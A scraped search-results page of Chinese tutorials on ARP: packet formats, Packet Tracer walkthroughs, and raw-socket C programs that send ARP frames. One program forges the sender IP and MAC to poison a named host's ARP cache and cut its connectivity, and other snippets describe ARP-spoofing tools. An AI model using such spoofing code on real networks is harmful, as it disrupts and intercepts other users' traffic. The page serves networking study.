精华内容
下载资源
问答
  • 用java实现ARP报文发送,通过jpcap来调用winpcap。对所用到的几个类进行了描述。
  • ARP报文发送

    2020-11-17 18:15:22
    #####路由器向三台电脑都发送报文 #####pc1响应报文 #####路由器将文件返回pc0 #####此时pc0的MAC地址为0030.A386.D367 #####pc1响应了报文,并且在报文中附上了自己的MAC地址 #####此时是pc0接收到返回的...

    在这里插入图片描述
    #####创建如图所示网络拓补
    在这里插入图片描述
    #####将文件从pc0发送给pc1
    在这里插入图片描述
    #####文件先传给了路由器
    在这里插入图片描述
    #####路由器向三台电脑都发送了报文
    在这里插入图片描述
    #####pc1响应报文
    在这里插入图片描述
    #####路由器将文件返回pc0
    在这里插入图片描述
    #####此时pc0的MAC地址为0030.A386.D367
    在这里插入图片描述
    #####pc1响应了报文,并且在报文中附上了自己的MAC地址
    在这里插入图片描述
    #####此时是pc0接收到返回的报文
    在这里插入图片描述
    #####此时pc0中保存了pc1的IP地址与MAC地址的映射关系
    在这里插入图片描述
    #####此时pc1中保存了pc0的IP地址与MAC地址的映射关系

    在这里插入图片描述
    #####增加一台pc4

    在这里插入图片描述
    #####文件由pc0向pc4发送时,先发给路由器路由器接收后向四台电脑发送文件
    在这里插入图片描述

    #####pc4响应报文
    在这里插入图片描述
    #####pc0接收报文

    在这里插入图片描述
    #####pc4响应报文并附上了自己MAC地址

    展开全文
  • linux原始套接字-发送ARP报文

    千次阅读 2016-09-27 11:58:30
    下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING通192.168.1.71。 使用命令arp -d 删除arp缓存即可恢复。 本示例仅供学习交流,请勿用于非法用途。   #include <...

    linux原始套接字,可以直接发送和接收链路层和网络层的报文,对我们理解TCP/IP协议栈有很多帮助。

    也可写出很多有趣的程序。

    下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING通192.168.1.71。

    使用命令arp -d 删除arp缓存即可恢复。

    本示例仅供学习交流,请勿用于非法用途。

     

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/if_ether.h>
    #include <net/if_arp.h>
    #include <netpacket/packet.h>
    #include <net/if.h>
    #include <net/ethernet.h>
    #include <arpa/inet.h>
    
    
    #define print_errno(fmt, ...) \
        printf("[%d] errno=%d (%s) #" fmt, \
            __LINE__, errno, strerror(errno), ####__VA_ARGS__)
    
    static unsigned char s_ip_frame_data[ETH_DATA_LEN];
    static unsigned int  s_ip_frame_size = 0;
    
    int main(int argc,char** argv)
    {
        struct ether_header *eth = NULL;
        struct ether_arp *arp = NULL;
        struct ifreq ifr;
        struct in_addr daddr;
        struct in_addr saddr;
        struct sockaddr_ll sll;
    
        int skfd;
        int n = 0;
    
        unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
        /*伪造 源MAC*/
        unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};
    
        daddr.s_addr = inet_addr("192.168.1.60");
        /*伪造 源IP*/
        saddr.s_addr = inet_addr("192.168.1.71");
    
        memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);
    
        /*创建原始套接字*/
        skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
        if (skfd < 0) {
            print_errno("socket() failed! \n");
            return -1;
        }
        
        bzero(&ifr,sizeof(ifr));
        strcpy(ifr.ifr_name, "eth1");
        if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
            print_errno("ioctl() SIOCGIFINDEX failed!\n");
            return -1;
        }
        printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);
    
        bzero(&sll, sizeof(sll));
        sll.sll_ifindex  = ifr.ifr_ifindex;
        sll.sll_family   = PF_PACKET;
        sll.sll_protocol = htons(ETH_P_ALL);
    
        #if 0
        /*获取本机IP*/
        if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
            printf("ioctl() SIOCGIFADDR failed! \n");
            return -1;
        }
        printf("ifr_addr    = %s\n", \
            inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));
    
        /*获取本机MAC*/
        if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
            printf("ioctl() SIOCGIFHWADDR failed! \n");
            return -1;
        }
        printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
            (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[5]);
    
    
        #endif
    
        /*构造以太报文*/
        eth = (struct ether_header*)s_ip_frame_data;
        eth->ether_type = htons(ETHERTYPE_ARP);
        memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
        memcpy(eth->ether_shost, smac, ETH_ALEN);
    
        /*构造ARP报文*/   
        arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
        arp->arp_hrd = htons(ARPHRD_ETHER); 
        arp->arp_pro = htons(ETHERTYPE_IP); 
        arp->arp_hln = ETH_ALEN;
        arp->arp_pln = 4;
        arp->arp_op  = htons(ARPOP_REQUEST);
        
        memcpy(arp->arp_sha, smac, ETH_ALEN);
        memcpy(arp->arp_spa, &saddr.s_addr, 4);
          /*
        memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
        memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
         
        s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
        n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
            (struct sockaddr*)&sll, sizeof(sll));
        if (n < 0) {
            print_errno("sendto() failed!\n");
        }
        else {
            printf("sendto() n = %d \n", n);
        }
        close(skfd);
        return 0;
    }
    
    
    展开全文
  • 发送arp请求报文

    千次阅读 2018-10-19 13:43:59
    (1)报文格式 (2)代码如下:   #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/socket.h&gt; #include &lt;sys/types.h&gt; #include &lt;netinet...

     (1)报文格式

    (2)代码如下:

     

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <net/ethernet.h>
    #include <netpacket/packet.h>
    #include <string.h>
    #include <net/if.h>
    
    #define SRC_MAC  { 0x00,0x0C,0x29,0x6F,0x57,0xE7 }//源MAC地址
    #define DEST_MAC { 0x00,0x0C,0x29,0xD3,0xD6,0xF7 }//目的MAC地址
    
    struct arppacket
    {
            unsigned char dest_mac[ETH_ALEN];//接收方MAC
            unsigned char src_mac[ETH_ALEN];//发送方MAC
            unsigned short type;         //0x0806是ARP帧的类型值
            unsigned short ar_hrd;//硬件类型 - 以太网类型值0x1
            unsigned short ar_pro;//上层协议类型 - IP协议(0x0800)
            unsigned char  ar_hln;//MAC地址长度
            unsigned char  ar_pln;//IP地址长度
            unsigned short ar_op;//操作码 - 0x1表示ARP请求包,0x2表示应答包
            unsigned char  ar_sha[ETH_ALEN];//发送方mac
            unsigned char ar_sip[4];//发送方ip
            unsigned char ar_tha[ETH_ALEN];//接收方mac
            unsigned char ar_tip[4];//接收方ip
    } __attribute__ ((__packed__));
    int main(int argc,char *argv[])
    {
        int fd = 0;
        struct in_addr s,r;
        struct sockaddr_ll sl;
    
        struct arppacket arp={
                    DEST_MAC,
                    SRC_MAC,
                    htons(0x0806),
                    htons(0x01),
                    htons(0x0800),
                    ETH_ALEN,
                    4,
                    htons(0x01),
                    SRC_MAC,
                    {0},
                    DEST_MAC,
                    {0}
        };
    
        fd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
        if(fd < 0)
        {
            printf("socket error\n");
            return -1;
        }
        memset(&sl, 0, sizeof(sl));
    
        inet_aton("192.168.11.220", &s);
        memcpy(&arp.ar_sip, &s, sizeof(s));
    
        inet_aton("192.168.11.192", &r);
        memcpy(&arp.ar_tip, &r, sizeof(r));
    
    
        sl.sll_family = AF_PACKET;
        sl.sll_ifindex = IFF_BROADCAST;
    	
    	while(1)
        {
            if(sendto(fd,&arp, sizeof(arp), 0, (struct sockaddr*)&sl, sizeof(sl)) <= 0)
            {
                printf("send error\n");
            }
            else
               printf("send success\n");
    
            sleep(1);
        }
    
        close(fd);
    
        return 0;
    }
    	

     

    展开全文
  • 使用PC向其他PC发送简单报文 在命令框中输入arp -a会显示ARP高速缓存已保存的IP地址与MAC地址 如图: 观察拓扑中增加一台PC后ARP的运行过程 增加PC5并设置其IP 观察它的MAC地址 使用PC0向PC5发送数据报并观察 ...

    搭建合适拓扑

    1. 配置各个PC的IP地址
    2. 用直连线将PC与交换机相连在这里插入图片描述

    使各个PC之间互相保存IP地址与MAC地址

    1. 使用PC向其他PC发送简单报文
    2. 在命令框中输入arp -a会显示ARP高速缓存已保存的IP地址MAC地址
      如图:
      在这里插入图片描述

    观察拓扑中增加一台PC后ARP的运行过程

    1. 增加PC5(PC6)并设置其IP
    2. 观察它的MAC地址
      在这里插入图片描述

    使用PC0向PC6发送数据报并观察

    在这里插入图片描述
    PC0向5台主机发送ARP请求报文,
    收到报文的主机会与自己的IP地址进行对比。
    一致的主机会在ARP响应报文中写入自己的MAC地址,不一致的主机则会丢弃这个ARP请求报文

    在这里插入图片描述
    此时PC6的IP地址吻合,则IP0通过ARP得到IP6的MAC地址,且PC6向PC0发送数据得到PC0的MAC地址

    在这里插入图片描述
    PC0向交换机发出ARP请求报文由交换机发出给各台PC

    在这里插入图片描述
    每次传输回来的报文都会显示一些关于自己电脑的信息,(但是是在两台电脑得到传输和回应的时候)黄色部分代表的是pc0的mac地址,粉色部分则代表的是pc0的IP地址,绿色的部分表示目的地的电脑的mac地址,蓝色的就是目的地电脑的ip地址。
    没有得到响应的电脑不会显示电脑的ip地址和mac地址·。

    在这里插入图片描述

    在这里插入图片描述

    展开全文
  • C++编程发送ARP报文

    千次阅读 2010-10-22 15:00:00
     printf("Sending ARP request for IP address: %s/n", DestIpString);  dwRetVal = SendARP(DestIp, SrcIp, MacAddr, &PhysAddrLen);  if (dwRetVal == NO_ERROR) {  bPhysAddr = (BYTE *) ...
  • vs2010 mfc ARP报文发送

    2013-03-17 19:11:45
    第一次尝试,适合初学者,若有错误,请留言,谢谢。。。
  • arping命令作用是使用arp数据包,通过ping命令检查来测试网络。arping命令能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。...发送指定个数ARP请求数据包后停止 -
  • arping命令是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。 语法 ...
  • ARP报文及其工作过程

    千次阅读 2019-10-08 00:55:11
    ARP协议1. ARP报文格式2. ARP工作过程 1. ARP报文格式 2. ARP工作过程
  • packet tracer 学习ARP报文请求

    千次阅读 2019-12-16 20:39:20
    如图所示通信,打开ARP报文,在路由器arp表尚未记录时,arp的目标mac就是全0,未知及广播。 观察以太帧也可以发现,目标(dest)mac帧也为全F,即为广播。 而且,目标IP地址为网关地址——及路由器端口地址 发到该...
  • 3.打开simulatiao模式,pc先在本局域网中发送一个ARP请求报文 因为ARP请求报文是一个广播报文,因此本局域网上所有主机都会收到此ARP请求报文,所以PC1做出了回应,PC2.PC3均未反应 请求报文如下 arp响应报文如下 ...
  • 并向PC0回应了一个ARP响应报文,(收到ARP请求报文的主机会将自己的IP地址和请求报文中的目的主机IP地址进行对比,当发现自己的IP地址与目的主机地址一致时,收下这个ARP请求报文并向主机发送ARP响应报文;...
  • python利用scapy模块发送arp

    千次阅读 2019-07-12 10:14:17
    二、发送ARP包 ** root@kali:~# scapy WARNING: No route found for IPv6 destination :: (no default route?) Welcome to Scapy (2.3.2) >>> a=ARP() >>> a.show() ###[ ARP ]###...
  • linux下发送arp请求报文 代码

    千次阅读 2011-09-29 16:07:09
    1,本代码主要是参考 宋敬彬的linux 网络编程>写的,如果完全按照书上的代码编译不能通过,编译通过后运行出现提示:Transport endpoint is ...用tcpdump抓包发现没有arp请求报文发送出去。我用的操作系统 为ubuntu9.10
  • linux socket()调用与arp报文发送

    千次阅读 2013-05-24 16:21:49
    Linux提供最常用的网络通信应用程序开发接口--Berkerley套接字(Socket)....SOCK_DGRAM类型的套接字不要求程序员配置以太网帧头,所以所发送的报文只有数据区(ARP报文)部分,其它与SOCK_RAW类型的套接字相同。
  • ARP协议详解 ARP报文结构

    万次阅读 2016-12-30 09:56:09
    ARP ARP作用 ARP(Address Resolution Protocol,地址解析协议)是将IP地址解析...但是仅仅有IP地址是不够的,因为IP数据报文必须封装成帧才能通过物理网络发送,因此发送站还必须有接收站的物理地址,所以需要一个从
  • arpfox: 一个arpspoof克隆注入欺骗ARP数据包至一个局域网中
  • inux下C语言实现ARP数据包发送 可以随意发送ARP数据包
  • ARP报文详解

    2020-06-08 16:08:30
    ARP(Address Resolution Protocol)地址解析协议,根据IP地址获取物理地址的一个TCP/IP协议。  由于OSI模型把网络分为七层,IP地址在OSI模型第三层,MAC地址...ARP报文 字段1:ARP请求的目的以太网地址..
  • arp 报文格式

    2019-09-03 22:36:01
    ARP 协议报文格式及arp表 1. ARP(Address Resolution Protocol,地址解析协议):是将ip 地址解析成以太网MAC地...ARP报文 硬件类型:占2字节,表示ARP 报文可以在哪种类型的网络上传输,值为1时表示以太网地...
  • 网络设备给另一台设备发送数据时,需要知道对方的网络层地址(IP 地址),但是仅有 IP 地址是无法发送数据的,IP 报文需要封装为以太网帧才能通过数据链路层发送,而以太网帧需要知道对方的 MAC 地址,因此发送端...
  • 记一次故障排查---arp应答报文丢失

    千次阅读 2020-04-19 08:49:44
    经分析发现ARP应答包从汇聚交换机下行端口发出后,接入层交换机的上行端口并没有收到,决定根据MAC地址对ARP数据包做流量统计 经过流量统计的确认,确实是ARP应答包发出后而接入层交换机上行端口没有接收到ARP应答包...
  • 假设主机A和B在同一个网段,主机A要向主机B发送信息。具体的地址解析过程如下: (1) 当网络层数据报下发到数据链路层进行帧封装时,主机A首先查看自己的ARP表,确定是否有目的IP(主机B)的MAC地
  • 由于局域网的网络流通不是根据IP地址进行,而是根据MAC...在每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的,在命令提示符下,输入“arp -a”就可以查看ARP缓存表中的内容了...
  • 原始套接字发送ARP数据包

    千次阅读 2019-04-14 10:42:29
    什么是ARP协议     ARP协议是Address Resolution Protocol(地址解析协议)的缩写...所谓“地址解析”就是主机在发送数据帧之前将目标IP地址转化成目标MAC地址的过程。ARP协议的基本功能就是通...
  • 其次是部分学生使用迅雷等应用软件向局域网发布大量的ARP request 分组,导致垃圾ARP 报文充斥网络,加重了网络高峰期的网络拥塞,进一步恶化了用户上网环境,导致更频繁、更大规模的掉线;最后对解决频繁掉线给出了...
  • 基于python发送ARP欺骗消息

    千次阅读 2019-05-30 09:39:47
    基于python发送ARP欺骗消息测试通过发送ARP欺骗数据包阻断局域网两台机器的连接发送arp欺骗包攻击成功后,18与19之前通信中断18主机上ARP变更情况python3发送arp欺骗python2发送arp欺骗Centos7 ip命令参考 ...
  • 基于Winpcap实现的发送ARP数据包和IP数据包1.1 基本任务 完成两台主机之间的数据通信(数据链路层)仿真ARP协议获得网段内主机的MAC表 使用帧完成两台主机的通信(Hello! I’m …) 1.2 高端任务 完成两台主机通过...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 43,136
精华内容 17,254
关键字:

发送arp报文